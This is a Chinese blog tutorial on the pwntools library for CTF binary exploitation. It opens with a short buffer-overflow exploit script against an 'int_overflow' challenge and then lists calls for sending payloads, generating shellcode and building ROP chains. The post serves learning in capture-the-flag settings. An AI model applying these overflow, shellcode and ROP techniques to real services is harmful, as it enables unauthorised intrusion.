pwntools语句的简单使用,包含例子

from pwn import *
#io = process("./int_overflow")
io = remote("远程链接ip",端口)
flag_addr = 需要覆盖的flag地址如0x804868B
offset = 0x14 + 0x4
io.sendlineafter("Your choice:","1")
io.sendlineafter("username:","aaa")
payload = b"A"*offset + p32(flag_addr) + b"A"*(260 - offset - 4)
io.sendlineafter("passwd:",payload)
io.interactive()

pwntools语句讲解

连接

本地 :io = porcess("./文件名")
远程:io = remote(“ip地址”,端口)
关闭连接:io.close()

发送 payload

io.sendafter(some_string, payload) 接收到 some_string 后, 发送你的 payload;
p.sendlineafter(some_string, payload) 接收到 some_string 后, 发送你的 payload,加个换行
p.send(payload) 发送 payload
p.sendline(payload) 发送 payload,并进行换行(末尾\n)

接收返回内容

p.interactive() 直接进行交互,相当于回到shell的模式,一般在取得shell之后使用

生成 shellcode:

asm(shellcraft.sh())

p.recvn(N) 接受 N(数字) 字符

p.recvline() 接收一行输出

p.recvlines(N) 接收 N(数字) 行输出

p.recvuntil(some_string) 接收到 some_string 为止

stack=int(p.recv(10),16) 接收回显的参数在栈上的地址,长度是10,以16进制表示

ELF

首先需要 elf=ELF(’./filename’) 来产生一个对象
elf.symbols[‘a_function’] 找到 a_function 的地址
elf.got[‘a_function’] 找到 a_function的 got
elf.plt[‘a_function’] 找到 a_function 的 plt
elf.next(e.search(“some_characters”)) 找到包含 some_characters 可以是字符串,汇编代码或者某个数值的地址

ROP

rop = ROP(’./filename’) 还是要先创建一个对象
rop.raw(‘a’*32) 在构造的 rop 链里面写 32 个 a
rop.call(‘read’, (0, elf.bss(0x80))) 调用一个函数,可以简写成:rop.read(0, elf.bss(0x80))
rop.chain() 就是整个 rop 链,发送的 payload
rop.dump() 直观地展示当前的 rop 链
rop.migrate(base_stage) 将程序流程转移到 base_stage(地址)
rop.unresolve(value) 给出一个地址,反解析出符号
rop.search(regs=[‘ecx’,‘ebx’]) 搜索对 eax 进行操作的 gadgets
rop.find_gadget([‘pop eax’,‘ret’]) 搜索 pop eax ret 这样的 gadgets
在这里插入图片描述

  • 4
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

半岛铁盒@

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值